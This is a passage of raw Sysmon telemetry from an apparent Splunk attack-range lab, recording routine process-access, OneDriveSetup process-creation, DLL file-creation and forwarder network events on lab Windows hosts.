14:44:18.023{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.023{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.023{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.023{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.023{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\seclogon.dll+17dc|c:\windows\system32\seclogon.dll+10ac|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.023{7BD73061-65B2-613B-1600-00000000F001}12962072C:\Windows\system32\svchost.exe{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000042780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.030{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe18.151.0729.0013Microsoft OneDrive SetupMicrosoft OneDriveMicrosoft CorporationOneDriveSetup.exeC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe /silent /peruser /childprocess /enableOMCTelemetry C:\Windows\system32\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=11D5E2EF5D9A0E009DF8CC61F4706982,SHA256=17A5F35C30B9D1DBB651686407DBF7D1BDCC685426581AF6796B364550E7FE70,IMPHASH=059AC5CD530DD28EAD72A380619D30D7{7BD73061-6F40-613B-F108-00000000F001}7116C:\Program Files\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe"C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe" /silent 10341000x800000000000000042779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.023{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.023{7BD73061-65B2-613B-1300-00000000F001}926172C:\Windows\System32\svchost.exe{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\pcasvc.dll+ac96|c:\windows\system32\pcasvc.dll+aaf6|c:\windows\system32\pcasvc.dll+aab8|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.023{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-6F40-613B-F108-00000000F001}7116C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\seclogon.dll+1404|c:\windows\system32\seclogon.dll+10ac|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.023{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-6F40-613B-F108-00000000F001}7116C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x14c0C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\seclogon.dll+128d|c:\windows\system32\seclogon.dll+10ac|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.008{7BD73061-65B0-613B-0B00-00000000F001}6205912C:\Windows\system32\lsass.exe{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.008{7BD73061-65B0-613B-0B00-00000000F001}6205912C:\Windows\system32\lsass.exe{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.008{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F41-613B-0009-00000000F001}6916C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000013823Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:17.476{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50115-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013822Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:18.224{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EB11145D8932A6C70B5868301512E4FF,SHA256=2E1B3637E00A3B67B7E50F4C7C06FEB8EF2AD29A9B00110C0B86ABC1310DBA46,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000042872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:19.867{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-file-l1-2-0.dll2021-09-10 14:44:19.867 11241100x800000000000000042871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:19.867{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-conio-l1-1-0.dll2021-09-10 14:44:19.852 11241100x800000000000000042870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:19.805{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\CollectSyncLogs.bat2021-09-10 14:44:19.805 11241100x800000000000000042869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:19.805{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-file-l1-1-0.dll2021-09-10 14:44:19.805 11241100x800000000000000042868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:19.789{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-util-l1-1-0.dll2021-09-10 14:44:19.727 11241100x800000000000000042867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:19.789{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ipcsecproc.dll2021-09-10 14:44:19.727 11241100x800000000000000042866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:19.773{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\IRMProtectors\microsoft.office.irm.pdfprotector.dll2021-09-10 14:44:19.711 11241100x800000000000000042865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:19.742{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-errorhandling-l1-1-0.dll2021-09-10 14:44:19.680 10341000x800000000000000042864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:19.742{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F43-613B-0609-00000000F001}2244C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:19.633{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F43-613B-0709-00000000F001}224C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:19.633{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F43-613B-0709-00000000F001}224C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000042861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:19.617{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:19.617{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:19.617{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:19.617{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:19.555{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-0E00-00000000F001}996C:\Windows\system32\LogonUI.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000042856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:19.539{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5PrintSupport.dll2021-09-10 14:44:19.539 10341000x800000000000000042855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:19.508{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F43-613B-0609-00000000F001}2244C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:19.508{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F43-613B-0609-00000000F001}2244C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program 